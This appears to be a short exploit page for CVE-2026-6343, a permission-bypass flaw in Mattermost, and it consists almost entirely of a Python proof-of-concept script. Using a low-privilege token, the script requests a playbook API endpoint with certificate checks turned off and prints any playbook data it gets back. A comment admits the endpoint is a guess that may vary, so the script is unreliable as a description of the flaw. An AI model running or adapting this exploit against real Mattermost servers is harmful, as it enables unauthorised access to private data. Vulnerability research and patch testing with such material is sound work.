CVE-2026-6343 Mattermost权限绕过漏洞

import requests # Proof of Concept for CVE-2026-6343 # Description: This script demonstrates how an unauthorized user might access a public playbook # due to the lack of proper permission checks on the /get endpoint. TARGET_URL = "https://<mattermost-domain>" API_ENDPOINT = "/api/v4/playbooks/<playbook-id>" # Actual endpoint may vary based on specific PoC analysis USER_TOKEN = "<low-privilege-user-token>" def exploit(): headers = { "Authorization": f"Bearer {USER_TOKEN}", "Content-Type": "application/json" } try: # Send request to access playbook without proper permissions response = requests.get(f"{TARGET_URL}{API_ENDPOINT}", headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Unauthorized access to playbook data:") print(response.json()) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit()